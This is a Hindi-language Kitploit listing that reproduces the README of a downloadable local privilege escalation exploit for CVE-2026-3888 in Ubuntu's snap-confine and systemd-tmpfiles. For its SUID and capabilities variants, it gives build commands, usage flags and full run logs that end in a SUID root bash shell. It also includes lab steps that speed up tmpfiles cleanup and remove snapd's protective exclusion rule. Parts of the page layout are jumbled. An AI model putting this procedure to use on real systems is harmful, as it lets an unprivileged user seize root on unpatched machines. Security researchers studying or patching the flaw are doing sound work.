Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE — स्थानीय विशेषाधिकार वृद्धि शोषण CVE-2026-3888 के लिए, जो Ubuntu पर snap-confine और systemd-tmpfiles को लक्षित करता है, तथा रूट एक्सेस प्राप्त करने के लिए SUID और capabilities वेरिएंट प्रदान करता है। | Kitploit
उपकरण/GitHubGitHub/thecybergeek/cve-2026-3888-snap-confine-systemd-tmpfiles-lpe
विशेषाधिकार वृद्धिशोषण फ्रेमवर्कभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षारेड टीमिंगबाइनरी शोषणलैब और अभ्यास

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHubthecybergeek/cve-2026-3888-snap-confine-systemd-tmpfiles-lpe

CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE

स्थानीय विशेषाधिकार वृद्धि शोषण CVE-2026-3888 के लिए, जो Ubuntu पर snap-confine और systemd-tmpfiles को लक्षित करता है, तथा रूट एक्सेस प्राप्त करने के लिए SUID और capabilities वेरिएंट प्रदान करता है।

रिपॉजिटरी देखें
1725 महीने पहलेअभी तक समीक्षित नहीं

CVE-2026-3888 — snap-confine / systemd-tmpfiles स्थानीय विशेषाधिकार वृद्धि

असुरक्षित उपयोगकर्ता से Ubuntu Desktop 24.04+ पर पूर्ण रूट तक स्थानीय विशेषाधिकार वृद्धि, snap-confine और systemd-tmpfiles के बीच TOCTOU रेस कंडीशन का शोषण करके। दो वेरिएंट प्रदान किए गए हैं: SUID और Capabilities।

CVSS: 7.8 (उच्च) | परामर्श: Qualys | पैच: snapd 2.74.2, 17 मार्च 2026

विषय-सूची

  • वेरिएंट तुलना
  • वेरिएंट 1 — SUID
    • यह कैसे काम करता है
    • फ़ाइलें
    • निर्माण
    • उपयोग
    • आवश्यकताएँ
    • आउटपुट
  • वेरिएंट 2 — Capabilities
    • यह कैसे काम करता है
    • फ़ाइलें
    • निर्माण
    • उपयोग
    • आवश्यकताएँ
    • आउटपुट
  • प्रयोगशाला सेटअप
  • अस्वीकरण

वेरिएंट तुलना


वेरिएंट 1 — SUID

यह कैसे काम करता है

  1. systemd-tmpfiles /tmp के अंतर्गत पुरानी .snap नकल निर्देशिका को हटा देता है (30-दिन की आयु समाप्ति)
  2. हमलावर इसे नियंत्रित सामग्री के साथ पुनः बनाता है — सभी फ़ाइलें हमलावर के स्वामित्व में होती हैं
  3. शोषण AF_UNIX सॉकेट बैकप्रेशर के माध्यम से snap-confine को एकल-चरण में चलाता है ताकि नकल bind-mount अनुक्रम के दौरान रेस को विश्वसनीय रूप से जीता जा सके
  4. हमलावर के स्वामित्व वाली लाइब्रेरीज़ को रूट के रूप में सैंडबॉक्स में माउंट किया जाता है
  5. ld-linux-x86-64.so.2 को शेलकोड से बदल दिया जाता है जो setreuid(0,0) + execve को कॉल करता है
  6. SUID snap-confine निष्पादित करने से रूट विशेषाधिकारों के साथ शेलकोड ट्रिगर होता है
  7. सैंडबॉक्स से बचने के लिए SUID bash को /var/snap/firefox/common/ में छोड़ दिया जाता है

फ़ाइलें

फ़ाइलविवरण
exploit_suid.cएकीकृत एकल-बाइनरी शोषण — सभी 7 चरण एक fork-आधारित ऑर्केस्ट्रेटर में
librootshell_suid.cपेलोड — न्यूनतम ELF जो कच्चे x86_64 syscalls के माध्यम से ld-linux-x86-64.so.2 को बदलता है

निर्माण

root@kitploit:~
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c

दोनों को x86_64 Linux पर संकलित (या क्रॉस-संकलित) किया जाना चाहिए। exploit स्थिर रूप से लिंक किया गया है ताकि यह लाइब्रेरी निर्भरताओं के बिना snap सैंडबॉक्स के अंदर चल सके। librootshell.so -nostdlib का उपयोग करता है क्योंकि इसमें केवल कच्चे syscalls होते हैं — कोई libc नहीं।

उपयोग

root@kitploit:~
./exploit <librootshell.so> [-d] [-s]
फ़्लैगविवरण
-dsnap-confine डीबग आउटपुट दिखाएं (वर्बोज़ मोड)
-s.snap सफाई प्रतीक्षा छोड़ें (रूट पासवर्ड आवश्यक)
root@kitploit:~
# सामान्य चलाना
./exploit ./librootshell.so

# डीबग मोड
./exploit ./librootshell.so -d

# विफलता के बाद पुनः प्रयास
./exploit ./librootshell.so -s

शोषण सैंडबॉक्स में प्रवेश करता है, systemd-tmpfiles द्वारा .snap हटाए जाने की प्रतीक्षा करता है (स्टॉक Ubuntu 25.10 पर 10 दिन तक और स्टॉक Ubuntu 24.04 पर 30 दिन तक), फिर रेस को स्वचालित रूप से चलाता है। सफलता पर, रूट शेल में पहुंच जाता है।

आवश्यकताएँ

  • बिना पैच वाले snapd (< 2.74.2) के साथ Ubuntu 24.04+
  • snap-confine SUID-root होना चाहिए (-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine)
  • लेआउट bind-mounts के साथ स्थापित एक snap (firefox, snap-store, आदि)
  • systemd-tmpfiles-clean.timer सक्रिय
  • लक्ष्य पर busybox उपलब्ध (/usr/bin/busybox)

आउटपुट

root@kitploit:~
user@ubuntu:~$ snap --version
snap    2.63.1+24.04
snapd   2.63.1+24.04
series  16
ubuntu  24.04
kernel  6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
    CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] पेलोड: /home/user/./librootshell.so (9056 बाइट्स)

[चरण 1] Firefox सैंडबॉक्स में प्रवेश...
[+] आंतरिक शेल PID: 3122

[चरण 2] .snap विलोपन की प्रतीक्षा...
[*] पोलिंग (स्टॉक Ubuntu पर 30 दिन तक)।
[*] संकेत: छोड़ने के लिए -s का उपयोग करें।
[+] .snap हटा दिया गया।

[चरण 3] कैश्ड माउंट नेमस्पेस नष्ट करना...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory
[+] नेमस्पेस नष्ट हो गया।

[चरण 4] रेस सेटअप और चलाना...
[*]   कार्यशील निर्देशिका: /proc/3122/cwd
[*]   .snap और .exchange निर्माण...
[*]   285 प्रविष्टियाँ एक्सचेंज निर्देशिका में कॉपी की गईं
[*]   रेस शुरू...
[*]   snap-confine की निगरानी (चाइल्ड PID 3543)...

[!]   ट्रिगर — निर्देशिकाएँ स्वैप करना...
[+]   स्वैप पूर्ण — रेस जीत गया!
[*]   नेमस्पेस में ld-linux: user:user 755
[+]   ज़हरीला नेमस्पेस PID: 3543

[चरण 5] ज़हरीले नेमस्पेस में पेलोड इंजेक्ट करना...
[+]   ld-linux uid 1000 (हमलावर) के स्वामित्व में। रेस की पुष्टि हुई।
[*]   busybox स्थापित करना...
[*]   पलायन स्क्रिप्ट लिखना → /tmp/sh
[*]   ld-linux-x86-64.so.2 अधिलेखित करना...
[+]   पेलोड इंजेक्ट किया गया।

[चरण 6] SUID snap-confine के माध्यम से रूट ट्रिगर करना...
[*]   snap-confine → snap-confine (SUID ट्रिगर)
[*]   निकास स्थिति: 0

[चरण 7] सत्यापन...
[+] SUID रूट bash: /var/snap/firefox/common/bash (मोड 4755)
[*] पृष्ठभूमि प्रक्रियाओं की सफाई...

================================================================
  रूट शेल: /var/snap/firefox/common/bash -p
================================================================

bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)

वेरिएंट 2 — Capabilities

यह कैसे काम करता है

  1. systemd-tmpfiles /tmp के अंतर्गत पुरानी .snap नकल निर्देशिका को हटा देता है
  2. हमलावर इसे नियंत्रित सामग्री के साथ पुनः बनाता है — सभी फ़ाइलें हमलावर के स्वामित्व में होती हैं
  3. शोषण AF_UNIX सॉकेट बैकप्रेशर के माध्यम से snap-confine को एकल-चरण में चलाता है ताकि /var/lib नकल bind-mount अनुक्रम के दौरान रेस को विश्वसनीय रूप से जीता जा सके
  4. हमलावर /var/lib/snapd/mount/snap.snap-store.user-fstab का नियंत्रण प्राप्त करता है
  5. user-fstab प्रविष्टियाँ सैंडबॉक्स में ज़हरीले /etc (जिसमें ld.so.preload है) को bind-mount करती हैं
  6. /tmp/.snap से SUID-root su बाइनरी निष्पादित करने से librootshell.so प्रीलोड होता है जो setreuid(0,0) + को कॉल करता है

फ़ाइलें

फ़ाइलविवरण
exploit_caps.cएकीकृत एकल-बाइनरी शोषण — सभी 7 चरण एक fork-आधारित ऑर्केस्ट्रेटर में
librootshell_caps.cपेलोड — कंस्ट्रक्टर के साथ साझा लाइब्रेरी जो setreuid(0,0) + execve को कॉल करती है

निर्माण

root@kitploit:~
gcc -O2 -static -o exploit exploit_caps.c
gcc -shared -fPIC -nostartfiles -o librootshell.so librootshell_caps.c

दोनों को x86_64 Linux पर संकलित (या क्रॉस-संकलित) किया जाना चाहिए। exploit स्थिर रूप से लिंक किया गया है ताकि यह लाइब्रेरी निर्भरताओं के बिना snap सैंडबॉक्स के अंदर चल सके। librootshell.so -nostartfiles और __attribute__((constructor)) का उपयोग करता है — इसे लक्ष्य बाइनरी के main() से पहले ld.so.preload के माध्यम से लोड किया जाता है।

उपयोग

root@kitploit:~
./exploit <librootshell.so> [-d] [-s]
फ़्लैगविवरण
-dsnap-confine डीबग आउटपुट दिखाएं (वर्बोज़ मोड)
-s.snap सफाई प्रतीक्षा छोड़ें (जब .snap पहले ही हट चुका हो तो उपयोग करें)
root@kitploit:~
# सामान्य चलाना
./exploit ./librootshell.so

# डीबग मोड
./exploit ./librootshell.so -d

# प्रतीक्षा छोड़ें (पुनः प्रयास)
./exploit ./librootshell.so -s

शोषण सैंडबॉक्स में प्रवेश करता है, systemd-tmpfiles द्वारा .snap हटाए जाने की प्रतीक्षा करता है (स्टॉक Ubuntu 25.10 पर 10 दिन तक और स्टॉक Ubuntu 24.04 पर 30 दिन तक), फिर रेस को स्वचालित रूप से चलाता है। सफलता पर, रूट शेल में पहुंच जाता है।

आवश्यकताएँ

  • बिना पैच वाले snapd (< 2.74.2, 2.71.1 पर परीक्षित) के साथ Ubuntu Desktop 24.04+
  • snap-confine में capabilities होनी चाहिए (cap_sys_admin, cap_chown, cap_dac_override, आदि)
  • snap-store snap स्थापित (Ubuntu Desktop पर डिफ़ॉल्ट)
  • core22 बेस snap स्थापित
  • systemd-tmpfiles-clean.timer सक्रिय
  • लक्ष्य पर busybox उपलब्ध (/usr/bin/busybox)

आउटपुट

root@kitploit:~
user@ubuntu:~$ snap --version
snap    2.71.1+ubuntu25.10.1
snapd   2.71.1+ubuntu25.10.1
series  16
ubuntu  25.10
kernel  6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release 
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=25.10
DISTRIB_CODENAME=questing
DISTRIB_DESCRIPTION="Ubuntu 25.10"
user@ubuntu:~$ ./exploit ./librootshell.so 
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles Capabilities LPE 
================================================================
[*] पेलोड: /home/user/./librootshell.so (14320 बाइट्स)

[चरण 1] snap-store सैंडबॉक्स में प्रवेश...
[+] आंतरिक शेल PID: 3501

[चरण 2] .snap विलोपन की प्रतीक्षा...
[*] पोलिंग (Ubuntu 25.10 पर 10 दिन तक)।
[*] संकेत: छोड़ने के लिए -s का उपयोग करें।
[+] .snap हटा दिया गया।

[चरण 3] कैश्ड माउंट नेमस्पेस नष्ट करना...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_wQcOnV//dev: No such file or directory
[+] नेमस्पेस नष्ट हो गया (.mnt चला गया)।

[चरण 4] रेस सेटअप और चलाना...
[*]   कार्यशील निर्देशिका: /proc/3501/cwd
[*]   .snap और .exchange निर्माण...
[*]   17 प्रविष्टियाँ एक्सचेंज निर्देशिका में कॉपी की गईं
[*]   रेस शुरू...
[*]   snap-confine की निगरानी (चाइल्ड PID 3678)...

[!]   ट्रिगर — निर्देशिकाएँ स्वैप करना...
[+]   स्वैप पूर्ण — रेस जीत गया!
[+]   रेस जीत गया। /var/lib/snapd अब उपयोगकर्ता के स्वामित्व में है।

[चरण 5] पेलोड और user-fstab सेटअप...
[*]   /etc को .snap/etc में कॉपी करना...
[*]   ld.so.preload लिखना...
[*]   user-fstab लिखना...
[*]   librootshell.so को /tmp/ में कॉपी करना...
[*]   busybox कॉपी करना...
[*]   पलायन स्क्रिप्ट लिखना...
[*]   var/lib वापस स्वैप करना (मूल snapd मेटाडेटा पुनर्स्थापित करना)...
[+]   पेलोड तैयार।

[चरण 6] /tmp/.snap में SUID बाइनरी के माध्यम से रूट ट्रिगर करना...
[*]   निष्पादित: snap-confine → /tmp/.snap/var/lib/snapd/hostfs/snap/core22/current/usr/bin/su
[*]   निकास स्थिति: 0

[चरण 7] सत्यापन...
[+] SUID रूट bash: /var/snap/snap-store/common/bash (मोड 4755)
[*] पृष्ठभूमि प्रक्रियाओं की सफाई...

================================================================
  रूट शेल: /var/snap/snap-store/common/bash -p
================================================================

bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)

प्रयोगशाला सेटअप

स्टॉक Ubuntu इंस्टॉलेशन पर, .snap सफाई में 30 दिन (24.04) या 10 दिन (25.10) लगते हैं। परीक्षण के लिए इसे तेज़ करने हेतु, /tmp आयु और टाइमर अंतराल कम करें:

/tmp सफाई आयु को 4 मिनट तक कम करें

/usr/lib/tmpfiles.d/tmp.conf संपादित करें (रूट के रूप में):

root@kitploit:~
# आयु को 30d से 4m में बदलें
sudo sed -i 's|^q /tmp .\+|q /tmp 1777 root root 4m|' /usr/lib/tmpfiles.d/tmp.conf

सत्यापित करें:

root@kitploit:~
grep '^q /tmp' /usr/lib/tmpfiles.d/tmp.conf
# दिखाना चाहिए: q /tmp 1777 root root 4m

सफाई टाइमर को हर मिनट चलाने के लिए तेज़ करें

root@kitploit:~
sudo mkdir -p /etc/systemd/system/systemd-tmpfiles-clean.timer.d
sudo tee /etc/systemd/system/systemd-tmpfiles-clean.timer.d/override.conf > /dev/null <<'EOF'
[Timer]
OnBootSec=1m
OnUnitActiveSec=1m
EOF
sudo systemctl daemon-reload
sudo systemctl restart systemd-tmpfiles-clean.timer

सत्यापित करें:

root@kitploit:~
systemctl list-timers systemd-tmpfiles-clean
# NEXT कॉलम अब से ~1 मिनट दिखाना चाहिए

.snap बहिष्करण हटाएं (केवल snapd 2.73+)

snapd 2.73+ एक बहिष्करण नियम जोड़ता है जो tmpfiles को .snap साफ़ करने से रोकता है। यदि आपके सिस्टम में यह है, तो जांचें और हटाएं:

root@kitploit:~
cat /usr/lib/tmpfiles.d/snapd.conf
# यदि आप देखते हैं: x /tmp/snap-private-tmp/*/tmp/.snap
# उस पंक्ति को हटाएं, या snapd 2.71.1 पर डाउनग्रेड करें

इन सेटिंग्स के साथ, .snap पुराना होने के ~5 मिनट के भीतर साफ़ हो जाएगा, जिससे परीक्षण के दौरान तेज़ पुनरावृत्ति संभव होगी।


अस्वीकरण

यह कोड केवल शैक्षिक उद्देश्यों, अधिकृत सुरक्षा अनुसंधान, और पैठ परीक्षण कार्यों के लिए प्रदान किया गया है जहाँ स्पष्ट लिखित अनुमति प्राप्त की गई है। लेखक इस सॉफ़्टवेयर के दुरुपयोग के लिए कोई दायित्व नहीं मानता है। इस कोड का उपयोग करके, आप सहमत हैं कि आप अपने कार्यों और इसके उपयोग से उत्पन्न होने वाले किसी भी परिणाम के लिए पूरी तरह जिम्मेदार हैं। इस कोड का उपयोग उन प्रणालियों के विरुद्ध न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण नहीं है।

टूल डाउनलोड करें
Ubuntu 24.04 (SUID)Ubuntu 25.10 (Capabilities)
snap-confineSUID-rootCapabilities (cap_sys_admin, आदि)
लक्ष्य snapfirefoxsnap-store
नकल लक्ष्य/usr/lib/x86_64-linux-gnu (~285 प्रविष्टियाँ)/var/lib (~17 प्रविष्टियाँ)
शोषण वेक्टरld-linux-x86-64.so.2 को शेलकोड से अधिलेखित करेंuser-fstab + ld.so.preload नियंत्रित करें
पेलोड प्रारूपकच्चे syscalls के साथ स्थिर ELF__attribute__((constructor)) के साथ साझा लाइब्रेरी
रूट ट्रिगरSUID snap-confine ज़हरीले डायनामिक लिंकर को लोड करता है/tmp/.snap में SUID su .so प्रीलोड करता है
cgroup आवश्यकताकोई भी snap.* नामसटीक मिलान: snap.snap-store.hook.configure
.snap सफाई30 दिन10 दिन
सैंडबॉक्स पलायन/var/snap/firefox/common/bash/var/snap/snap-store/common/bash
execve("/tmp/sh")
  • सैंडबॉक्स से बचने के लिए SUID bash को /var/snap/snap-store/common/ में छोड़ दिया जाता है